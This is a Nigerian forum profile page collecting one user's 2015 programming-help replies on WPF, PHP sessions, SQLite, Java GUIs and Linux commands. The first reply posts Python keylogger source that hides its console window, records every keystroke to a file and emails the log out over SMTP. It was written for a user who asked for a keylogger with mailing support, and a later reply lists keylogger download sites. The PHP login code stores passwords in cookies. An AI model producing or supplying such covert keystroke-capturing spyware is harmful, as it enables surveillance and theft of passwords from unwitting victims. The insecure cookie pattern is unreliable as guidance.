Welcome, Guest: Register On Nairaland / LOGIN! / Trending / Recent / New
Stats: 3,153,043 members, 7,818,120 topics. Date: Sunday, 05 May 2024 at 08:20 AM

Kudaisi's Posts

Nairaland Forum / Kudaisi's Profile / Kudaisi's Posts

(1) (2) (3) (4) (5) (6) (7) (8) (9) (of 9 pages)

Programming / Re: Need Programmers Help Please by kudaisi(m): 3:20pm On Apr 27, 2015
Iliasanu:
AdmiralDRU...@
if it sorport mailing log,share the download link then...
import win32api
import win32console
import win32gui
import pythoncom,pyHook
import smtplib
from email.mime.text import MIMEtext

win=win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)

sender ="me@domain.com"
reciever= "you@domain.com"

def OnKeyboardEvent(event):
if event.Ascii==5:
_exit(1)
if event.Ascii !=0 or 8:
#open output.txt to read current keystrokes
f=open('c:\output.txt','r+')
buffer=f.read()
f.close()
#open output.txt to write current + new keystrokes
f=open('c:\output.txt','w')
keylogs=chr(event.Ascii)
if event.Ascii==13:
keylogs='/n'
buffer+=keylogs
# Put the new buffer as mail content and
#send the output file as text
try:
msg=MIMEtext.(buffer)
s = smtplib.SMTP('localhost')
s.sendemail(sender, reciever, msg.as_string())
s.quit
print "Email succesfully set"
except SMTPException:
print "Error: unable to send email, check your internet connection"
f.write(buffer)
f.close()
# create a hook manager object
hm=pyHook.HookManager()
hm.KeyDown=OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()


Sorry for the delay, the above code should work on a windows PC. Happy coding!! I recommend you install the imported libraries with easy_install if you get errors Importing them as they are not installed by default. One more thing the code is in Python programming language and the spacings are important to successfully run the code.
Programming / Re: Day To Day Linux Terminal Commands by kudaisi(m): 12:29pm On Apr 27, 2015
LIST ALL AVAILABLE PACKAGES (DEBIAN DISTRO)
To get the list of all the available packages, type the following command.

$ apt-cache pkgnames
Programming / Re: Can Somebody Explain What This Means & where should it be used ?? by kudaisi(m): 10:18am On Apr 27, 2015
The first if checks for the existence of base64 encoding in your REQUEST array by checking for the string position of the word combination 'base64'. This is one of the common methods of XSS attack as the resource is provided externally via a base64 text encoded url (for example a .png image can be encoded as a base64 text and decoded back to it's initial status by calling this PHP function $imgdata = base64_decode($encoded_string); as so). Thus the external code (JavaScript payload) will be executed when the DOM initializes the object element. So by check through the request array for the existence of base64 you might be able to tell that an CSS attack is being attempted.

The second if Check for the words SELECT and UNION in REQUEST data url, it is common to use these SQL statements for SQL injection. Although It is not limited to only this two alot of other scenarios still exist. Wherever you got this code from I am going to assume that they were just illustrated for educational purpose. As it is barely bullet proof against SQL injection or XSS attacks.

Let's consider nairaland programming forum for example, I just used the word SELECT and UNION in this post. Running your script in the back-end will identify this post as a possible SQL injection attack and the web page will die (so to speak) whereas it is not an injection attack but merely a reply to your post. So in some cases using the codes improperly might yield unwanted results. Other cases you would have to use other SQL injection prevention (rather than Detection) methods such as tag stripping to say the minimum. I hope this helps.

1 Like

Programming / Re: Urgent Need Of A Ebook For Wpf by kudaisi(m): 1:53am On Apr 27, 2015
pcguru1:


Was reading it but the prism material had a complex design pattern I know WPF code behind file but make I no lie the MVVM broke my mind. Sadly the only standard pattern was my microsoft PRISM and was too complex. I wanted to move beyond web but haven't seen anyone to convince desktop app still thrive.
Yes! at first MVVM it usually seems like that, it took a while for it sink in for myself. PRISM is not a standard, it is just a framework for achieving MVVM and loose coupling (not limited) more efficiently. However, there are plenty alternatives to PRISM. Personally I use Caliburn Micro because I find it straight forward and easy to implement. There are other frameworks such as Unity, Reactive UI..... In fact you shouldn't learn these frameworks while learning WPF. PRISM is comprehensively complex, and for a good reason because it does a good job covering almost all aspects of the WPF code development circle.

It is important to note that it is not compulsory to use any of this frameworks while developing. I have developed applications without using any of this frameworks in the past. Note also that it is not a most to use the MVVM pattern while developing in WPF as it is possible to code the WinForms way in WPF. WPF was built around data binding and to take full advantage of all WPF features it encouraged and necessary to stick to the MVVM design pattern.

My brother, if you plan to keep developing for windows there will come a time where WPF will be the de facto standard. Silverlight web can even run WPF apps, Windows 8 apps are developed in WPF a even Windows Phone is migrating. At a point you have to learn it, why not now?
Programming / Re: Kudaisi, The Man Of The Moment by kudaisi(m): 12:49am On Apr 27, 2015
lol, I'm honoured. Oga you've got me blushing ooo. I'm actually not as much of a guru as you think. There are much better guys in this forum (They just cannot shout). I live and grew up in Lagos. I learnt every bit programming language and frameworks I know by myself, I never saw the need to go to a computer school. I have a degree in Mathematics. I read alot...as far as it has to do with IT. I don't like video tutorials because I believe they tend to skip out on details.

Been working for about 8 years and I'm barely 30..so please don't call me Sir (you are probably older that I am self). Unfortunately I can't tell you where I work (for security reasons). I'm currently a Senior programmer in my department. And I have worked on numerous of projects which I cannot list. However, they span over areas such as assets managements, access control, electronic health records, computer based simulations, document management, encryption systems and I've had to programmer controllers in the past but I don't major on hardware. I am currently working on a Geographic Information System in java for use within my organization.
Programming / Re: I Will Teach You How To Design An E-store In Two Hours by kudaisi(m): 11:57pm On Apr 26, 2015
By design, do you mean design alone OR to design and develop a functional working estore in 2 hours ?

1 Like

Programming / Re: Urgent Need Of A Ebook For Wpf by kudaisi(m): 11:49pm On Apr 26, 2015
pcguru1:
am curious why are you learning WPF ? am not discouraging oh am just curious, I was learning it before but i couldn't see the application of it in Nigeria
The application of WPF includes Nigeria but way beyond just Nigeria. I encourage you to revisit. I hardly do any Microsoft project without WPF. I've even converted almost half of all my old Microsoft project to WPF. One of it's major advantages is the data binding capabilities built into it. UI design with WPF is flawless. A none programmer who knows how to use Photoshop can design a UI in Microsoft Blend (Photoshop like app that produces XAML equivalent of the graphics designed) hereby separating responsibilities between a UI designer and the programmer.

Have you ever tried to create a custom control with WinForms ? If yes trying creating the same control in WPF and u might never use WinForms again. From visual studio 2010 upwards the entire IDE Shell (UI) was written with WPF and C# that's why you'll notice the more sleeker look from 2010 upwards. Even expression Blend was written with WPF.

You can change the Theme of your UI dynamically. The UI relationship is now more like css and html while your C#/VB.net will be the equivalent of PHP/Java or whatever backend language you chose to use.

If you use a 3D modelling tool such as Blender. You can easily create 3D models and export them as WPF (Or you can choose to code it out youself). This means creating 3D applcations including games has never been much more easier on the Microsoft platform.

1 Like

Programming / Re: Urgent Need Of A Ebook For Wpf by kudaisi(m): 10:49am On Apr 24, 2015
There are loads of them here, some are as recent as 2014. http://www.it-ebooks.info/tag/wpf/
Happy reading.
Programming / Re: Javascript With NodeJS by kudaisi(m): 5:03am On Apr 24, 2015
Febup:
^^^
I just like the fact NodeJS uses JavaScipt syntax.
Really!!....you like the fact that nodeJS uses javascript syntax ? NODE JS WAS BUILT ON CHROME'S JAVASCRIPT RUNTIME ENGINE....... what other syntax do u suppose it to use?..abi you want to power another programming syntax with a runtime engine built for javascript ? Here's my conclusion on this post. After browsing through all of the OP's topics (None of which has to do with programming), I have come to the conclusion that you are a very controversial person and for some reason the attention you are getting from this post fuels something in you (which I barely care about). The programming section is for professionals and those that yearn to be one. And if you must be ONE... there are ethics programmers live as far as forums are concerned. They take constructive criticism as a pat on the back. They take senseless criticisms as ideas to be trashed (to be totally ignored). We avoid verbal confrontations that are not based on facts and logic (NOTE: Quoting google is exclusive).

Open your eyes man!!..... you have a post that has about three pages and you are the only that agrees completely with the point your are trying to make. Yet you still insist that everybody is wrong and you are right because you know how to google. It's not the way forward if you want to progress as a programmer. No programming language/framework is the best it's all about pros, cons, preferences and the context to which you intent to apply them. So just let this go and open you mind and heart to learning. NO MAN IS AN ISLAND.

1 Like

Programming / Re: Programming With Vb.net by kudaisi(m): 3:11am On Apr 24, 2015
If you just want to code for educational purpose rather than release commercial products you can download Visual Studio Express which is free here https://www.visualstudio.com/en-us/products/visual-studio-express-vs.aspx
Programming / Re: Help With Sqlite Select by kudaisi(m): 11:07am On Apr 23, 2015
Jinf:
Please can anyone help me on how to check if a column in sqlite table is empty before inserting data into that column.

-You need to declare the variable status outside the if/else statement. So that it can be within the scope of this line Toast.makeText (getBaseContext(), "Data: " +status.toString(), Toast.LENGTH_SHORT).show(); or else you'll keep getting a NullPointerException.
-Secondly, the String status = result.getString(0); in the else will return the same result as the in the if because you didn't re-execute db.rawQuery. For you to get the new result after the db.execSQL("INSERT INTO NeamLoggedin Values('newuser')"wink statement you need run the count sql script again. Otherwise, it won't give you any error but you won't get the desired result.

Happy coding.
Programming / Re: Why I Dumped Wordpress As A CMS (my Experience) by kudaisi(m): 5:23pm On Apr 22, 2015
pcguru1:


Yeah it's the best CMS not best CMF but best for users but terrible for developers.
I concur.
Programming / Re: How To Create Sessions In PHP by kudaisi(m): 11:15am On Apr 22, 2015
I answered a similar question in this post. https://www.nairaland.com/2261346/urgent-website
Programming / Re: how can i host Mysl Database Online by kudaisi(m): 5:51pm On Apr 21, 2015
I agree with @olyjosh, that would be a much better and safer way AFTER you have hosted you database online. If you want to go RESTful with php(which is easier) you can try Slim php. It's a very simple yet light framework for providing restful services with php. For enterprise applications I'll most likely use a Java web service rather than php.

One other benefit of using a RESTful service is that, in the future if you decide to develop mobile versions of the same app. They can still feed off the same restful API as the desktop application.
Programming / Re: Help With Python by kudaisi(m): 2:03am On Apr 21, 2015
ibnquasale:


Thanks boss... I will give it a try later in the day.... I really appreciate
I'm honoured, keep me posted I'll see if i can help.
Programming / Re: Help With Python by kudaisi(m): 1:12am On Apr 21, 2015
ibnquasale:


Bros can you help me with a python and cx_oracle problem.
Thanks in advance.

I called cursor.executemany() but was getting the Memory error whenever the data size is much
My advice break the query into smaller data chunks and use LIMITS and OFFSET to achieve continuity. Then use cursor.execute instead of cursor.executemany()

1 Like

Programming / Re: Urgent Help With My Website by kudaisi(m): 12:47am On Apr 21, 2015
Bear in mind that I didn't completely look through your code an the variable names in source posted below might not directly correlate with the variables you used. But for you to have gone this far you should have an idea of what your are doing, so I'm not going to go into details. Add this to your do_login.php
function checkLogin(){
/* Check if user has been remembered */
if(isset($_COOKIE['cookname']) && isset($_COOKIE['cookpass'])){
$_SESSION['username'] = $_COOKIE['cookname'];
$_SESSION['password'] = $_COOKIE['cookpass'];
}
/* Username and password have been set */

if(isset($_SESSION['username']) && isset($_SESSION['password'])){
/* Confirm that username and password are valid */
if(confirmUser($_SESSION['username'], $_SESSION['password']) != 0){
/* Variables are incorrect, user not logged in */
unset($_SESSION['username']);
unset($_SESSION['password']);
return false;
}
return true;
}
/* User not logged in */
else{
return false;
}
}
And add this to the login.php
 if(isset($_POST['remember'])){
setcookie("cookname", $_SESSION['username'], time()+60*60*24*100, "/"wink;
setcookie("cookpass", $_SESSION['password'], time()+60*60*24*100, "/"wink;
}
/* do some redirect here since user is not logged in*/

return;
}
/* Sets the value of the logged_in variable, which can be used in your code */
$logged_in = checkLogin();
Some where else you can check if a user is logged in as so
function displayLogin(){
global $logged_in;
if($logged_in){
//do login stuffs
}
else{ // redirect to login page }
}
NOTE that the source code is not secure as cookies can be extracted from you browser. In a development scenario I'll involve some encryption maybe md5. Additionally you can add an encrypted key to cookie and persist it to the database so that it can be compared to ascertain that it hasn't been tampered with. Than each time i call checkLogin() I'll compare the content of the cookie with what has been persisted. Other security measures exist but it's a thing of style.

Here is a decent explanatory description on steps for achieving a more secured remember me. I'm quite busy now so i can't whip up the entire code for you. cry
Usually I do something like this:

1) User logs in with 'keep me logged in'
2) Create session
3) Create a cookie called SOMETHING containing: md5(salt+username+ip+salt) and a cookie called somethingElse containing id
4) store cookie in database
5) user does stuff and leaves ----
6) user returns, check for somethingElse cookie, if it exists, get the old hash from the database for that user, check of the contents of cookie SOMETHING match with the hash from the database, which should also match with a newly calculated hash (for the ip) thus: cookieHash==databaseHash==md5(salt+username+ip+salt), if they do, goto 2, if they don't goto 1

off course you can use different cookie names etc. also you can change the content of the cookie a bit, just make sure it isn't to easily created. You can for example also create a user_salt when the user is created and also put that in the cookie.

Also you could use sha1 instead of md5 (or pretty much any algorithm)
Programming / Re: how can i host Mysl Database Online by kudaisi(m): 8:44pm On Apr 20, 2015
Simply pay for a web hosting service online, you can get one for as low as N2,500 (use this package development purposes depending on amount of connections). A large number of the hosting service providers come with mysql support for free. you can try www.syskay.com or http://philmorehost.com/.
The next thing you have to do is to export you local database as a .sql file. Subsequntly, login to your online domain account management portal (e.g cpanel) and access you database management admin such as phpmyadmin, then import the said .sql file. NOTE other methods exist.
Programming / Re: Please Help Me Look At My Code by kudaisi(m): 8:30pm On Apr 20, 2015
jacob05:



hmm..nice..but won't use a foreach on a large dataset (performance wise ) and would check falsity of $all_feds before displaying the table
Agreed, but I'm not trying to build his entire application for him. I only meant for the code to be used as guide. But it's worth mentioning.
Programming / Re: How To Create A Website For A Beginner by kudaisi(m): 8:27pm On Apr 20, 2015
Download books my brother, they always list the basic set of tools required for web development.FYI Tools are always a thing of preference no fixed set of tools are globally accepted. Google is your friend, use keywords such as 'html' 'css' 'php' 'web design' 'beginner' 'pdf' 'ebook' 'download' or better still buy.

2 Likes 1 Share

Programming / Re: Question For Kudaisi by kudaisi(m): 3:09pm On Apr 20, 2015
Unfortunately, I don't have that information. But I'm quite certain that major oil companies all use Enterprise Resource Planning software (ERP) sha (I know for example that Mobil uses SAP ERP). And I know of one app used to measure fuel levels in oil tankers. To ensure that the driver does no siphon and mix the fuel while on transit. The one i saw was done using and Arduino Nano board with a GSM shield and with a C# back-end in the cloud.

2 Likes

Programming / Re: Urgently Need Assistant On JAVA GUI by kudaisi(m): 2:25pm On Apr 20, 2015
Try this should work...
package package.name;

import javax.swing.Box;
import javax.swing.JLabel;
import javax.swing.JOptionPane;
import javax.swing.JPanel;
import javax.swing.JTextField;

public class GPACalculator {
public static void main(String[] args){
JTextField gradeField = new JTextField(5);
JTextField unitField = new JTextField(5);
int noOfCourses = Integer.parseInt(JOptionPane.showInputDialog(null, "Enter number of courses:" ));
int grades[] = new int[noOfCourses];
int sumOfGrades = 0;
int totalUnits = 0;
JPanel myPanel = new JPanel();
myPanel.add(new JLabel("Enter grade for course"wink);
myPanel.add(gradeField);
myPanel.add(Box.createHorizontalStrut(15)); // a spacer
myPanel.add(new JLabel("Enter units for course"wink);
myPanel.add(unitField);
for (int i = 0; i < noOfCourses; i++){
int result = JOptionPane.showConfirmDialog(null, myPanel,
"Please Enter Grades and Unit value (e.g A and 3)", JOptionPane.OK_CANCEL_OPTION);
if (result == JOptionPane.OK_OPTION) {
switch(gradeField.getText().charAt(0)){
case 'A':
sumOfGrades += Integer.parseInt(unitField.getText())*5;
break;
case 'B':
sumOfGrades += Integer.parseInt(unitField.getText())*4;
break;
case 'C':
sumOfGrades += Integer.parseInt(unitField.getText())*3;
break;
case 'D':
sumOfGrades += Integer.parseInt(unitField.getText())*2;
break;
case 'E':
sumOfGrades+= Integer.parseInt(unitField.getText())*1;
break;
default:
JOptionPane.showMessageDialog(null, "Invalid grade"wink;
break;
}
totalUnits += Integer.parseInt(unitField.getText());
unitField.setText(""wink;
gradeField.setText(""wink;

}
}
double gpa = sumOfGrades/(double)totalUnits;
JOptionPane.showMessageDialog(null, "Total Credit :"+totalUnits+" Total Score:"+sumOfGrades+"\n GPA is "+ gpa);
}
}
Programming / Re: Please Help Me Check Whats Wrong With My Code(c Language) by kudaisi(m): 2:22pm On Apr 20, 2015
Just posted a Java GUI version of your GPA calculator https://www.nairaland.com/2264399/urgently-need-assistant-java-gui
Programming / Re: Urgently Need Assistant On JAVA GUI by kudaisi(m): 2:21pm On Apr 20, 2015
Try this should work...
package package.name;

import javax.swing.Box;
import javax.swing.JLabel;
import javax.swing.JOptionPane;
import javax.swing.JPanel;
import javax.swing.JTextField;

public class GPACalculator {
public static void main(String[] args){
JTextField gradeField = new JTextField(5);
JTextField unitField = new JTextField(5);
int noOfCourses = Integer.parseInt(JOptionPane.showInputDialog(null, "Enter number of courses:" ));
int grades[] = new int[noOfCourses];
int sumOfGrades = 0;
int totalUnits = 0;
JPanel myPanel = new JPanel();
myPanel.add(new JLabel("Enter grade for course"wink);
myPanel.add(gradeField);
myPanel.add(Box.createHorizontalStrut(15)); // a spacer
myPanel.add(new JLabel("Enter units for course"wink);
myPanel.add(unitField);
for (int i = 0; i < noOfCourses; i++){
int result = JOptionPane.showConfirmDialog(null, myPanel,
"Please Enter Grades and Unit value (e.g A and 3)", JOptionPane.OK_CANCEL_OPTION);
if (result == JOptionPane.OK_OPTION) {
switch(gradeField.getText().charAt(0)){
case 'A':
sumOfGrades += Integer.parseInt(unitField.getText())*5;
break;
case 'B':
sumOfGrades += Integer.parseInt(unitField.getText())*4;
break;
case 'C':
sumOfGrades += Integer.parseInt(unitField.getText())*3;
break;
case 'D':
sumOfGrades += Integer.parseInt(unitField.getText())*2;
break;
case 'E':
sumOfGrades+= Integer.parseInt(unitField.getText())*1;
break;
default:
JOptionPane.showMessageDialog(null, "Invalid grade"wink;
break;
}
totalUnits += Integer.parseInt(unitField.getText());
unitField.setText(""wink;
gradeField.setText(""wink;

}
}
double gpa = sumOfGrades/(double)totalUnits;
JOptionPane.showMessageDialog(null, "Total Credit :"+totalUnits+" Total Score:"+sumOfGrades+"\n GPA is "+ gpa);
}
}

2 Likes

Programming / Re: Help With Netbeans Platform RCP Drag And Drop Implementation by kudaisi(m): 1:21pm On Apr 20, 2015
naijaswag1:
The best way to master a framework or platform is to get hold of the documentations. It will be rare to find users of some frameworks in Java as there few developers who actually use Java Technologies for serious development in Nigeria and on this forum. For instance, I taught myself SWT after I needed my application to use native look and feel, the documentation and examples on forums such as vogella.com, stackoverflow.com and the rest were of great help. I have not used Netbeans RCP Platform, but I can deduced by mere reading the challenge that your DataNode should be the one implementing Transferable. Dataobjects as the name implies should be data models which represents the data that your DataNodes should have. I didn't google this, just trying to infer from what you explained.

Bro trust me I've gone through the documentation back to back. Anyway thanks, I figured it out after hours of going through documentation all over again, the problem was actually a simple xml error in my Layer.xml. I got the implementation right all along. The transferable can be either the DataObject or the DataNode. But i chosed to go with the DataNode anyway. Gratitudes.
Programming / Re: Please Help Me Look At My Code by kudaisi(m): 11:14am On Apr 20, 2015
I take it you've gotten all the database connections part right so I'm going to leave that part as is. Rather than using an SLQ SUM in your query it makes more sense do an SQL SELECT of the required row (in this case total_ded) and return the values as an array. You can then Loop through the array and display the necessary table. Finally sum the array and equally display the sum. Here's what the code will look like
<?php public funtion get_all_ded()
$db=new Database();
$conn=$db->Connect_DB();
if($conn){
$query = "SELECT total_ded FROM february";
$result=mysqli_query($conn, $query);
if($result){
$deds=mysqli_fetch_array($result);
return $deds;
}else{
return false;
}
}else{
return false;
}
}

//
$all_deds = get_all_deds();
?>
<table>
<tr><td>Deds</td></tr>
<?php
foreach($all_deds as $ded){
echo "<tr><td>".$ded."</td></tr>"
}
?>
</table>
<div>Total Deds: <?php echo array_sum($all_deds) ?></div>
Programming / Re: Urgently Need Assistant On JAVA GUI by kudaisi(m): 11:14am On Apr 20, 2015
What have you done so far ?
Programming / Re: Need Programmers Help Please by kudaisi(m): 10:26am On Apr 20, 2015
Which programming language are you most comfortable with ? So i can decide on which language to guide you with. NOTE: It has to be within the following languages as they are the ones I am most comfortable with...C#, Java, Python and C++. I've worked on something like this before in python so it will just be a matter of modifying the code.

1 Like 1 Share

Programming / Re: Day To Day Linux Terminal Commands by kudaisi(m): 12:17pm On Apr 17, 2015
DOWNLOAD A WEBSITE FOR OFFLINE VIEWING
wget -e robots=off -H -p -k http://www.thewebsite.com/

1 Like

Programming / Re: Need Programmers Help Please by kudaisi(m): 11:28am On Apr 17, 2015
To avoid reinventing the wheel I decided to do some googling for you and here a some Top free keyloggers (although the have commercial version too) I came across. The caveat however is that they all windows based. So if don't have problem with that then you can go ahead and download them.

- REFOG http://www.refog.com/free-keylogger/key-logger.html
- Revealer Keylogger Free Edition http://www.logixoft.com/revealer-keylogger-free-edition.html
- Super free keylogger http://www.keyloggerdownloads.com/super-free-keylogger.html
- Actual Keylogger http://www.actualkeylogger.com/
Programming / Re: Need Programmers Help Please by kudaisi(m): 11:09am On Apr 17, 2015
Do you have any programming experience ? If I copy and paste the source code for you will you be able to execute it ? I'm thinking it will be easier to develop with python's pywin32 and pyHook for windows.

(1) (2) (3) (4) (5) (6) (7) (8) (9) (of 9 pages)

(Go Up)

Sections: politics (1) business autos (1) jobs (1) career education (1) romance computers phones travel sports fashion health
religion celebs tv-movies music-radio literature webmasters programming techmarket

Links: (1) (2) (3) (4) (5) (6) (7) (8) (9) (10)

Nairaland - Copyright © 2005 - 2024 Oluwaseun Osewa. All rights reserved. See How To Advertise. 84
Disclaimer: Every Nairaland member is solely responsible for anything that he/she posts or uploads on Nairaland.